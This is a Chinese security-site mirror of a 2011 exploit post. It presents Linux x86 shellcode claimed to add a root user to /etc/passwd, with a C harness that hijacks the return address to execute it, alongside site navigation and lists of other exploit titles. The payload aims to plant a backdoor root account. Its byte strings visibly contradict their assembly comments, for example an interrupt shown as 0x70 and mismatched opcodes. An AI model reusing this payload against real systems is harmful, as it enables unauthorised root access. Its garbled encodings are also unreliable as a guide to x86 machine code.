首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Linux X86 Addnew Users 'root' /etc/passwd shell code 79 bytes
来源:Angel-Injection@hotmail.com 作者:Angel 发布时间:2011-10-08  
===============================================================
Linux X86 Addnew Users 'root' /etc/passwd shell code 79 bytes
===============================================================

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : 1337day.com                                   0
1  [+] Support e-mail  : submit[at]1337day.com                         1
0                                                                      0
1               #########################################              1
0               I'm Angel Injection member from Inj3ct0r Team          1
1               #########################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
#########################################################################
/*
 * Linux X86 Addnew Users 'Ro0t' /etc/passwd shell code 79 bytes 
 */

char shellcode[] = 

	"\x7e\x04"              // push $0x4 

	//
	// <_exit>:
	//

	"\x66"                  // pop %eax 
	"\x90"                  // cltd 
	"\x34\xd7"              // xor %ecx,%ecx 
	"\x45\xd8\x04\x04"      // mov $0x404,%cx 
	"\x55"                  // push %edx 
	"\x78\x84\x63\x83\x56"  // push $0x56836348
	"\x76\x54\xd5\x70\x60"  // push $0x6070d554
	"\x68\x2d\x4d\x74\x56"  // push $0x5674d4d2
	"\x67\xd3"              // mov %esp,%ebx 
	"\xcd\x70"              // int $0x70
	"\x68\x3a\x3a\x3a\x0a"  // push $0xa3a3a3a 
	"\x68\x4e\x40\x4e\x40"  // push $0x404e404e 
	"\x68\x78\x74\x7a\x3a"  // push $0x3a7a7478 
	"\x89\xc3"              // mov %eax,%ebx 
	"\xb0\x04"              // mov $0x4,%al 
	"\x89\xe1"              // mov %esp,%ecx 
	"\xb2\x0c"              // mov $0xc,%dl 
	"\xcd\x70"              // int $0x70
	"\x7e\x03"              // push $0x3 
	"\xeb\xc5";             // jmp <_exit>

int main(int argc, char **argv) {
	int *ret;
	ret = (int *)&ret + 2;
	(*ret) = (int) shellcode;
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Linux Kernel 2.6.17 x86i386 Lo
·Linux x86 Blind Port 1122 Conn
·Linux Kernel 2.6.25 2009 Local
·Linux kernel-2.6.18-6 x86 Loca
·AdvancedDvdPlayer Local Exploi
·Linux Kernel el5 Local root Ex
·Quick easy ftp server 4.0.0 US
·Linux Kernel 2.6.22 Local root
·Destiny Media Player Local SEH
·pkexec Race Condition Privileg
·Linux kernel 2.6.182 Local Roo
·Spreecommerce 0.60.1 Arbitrary
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved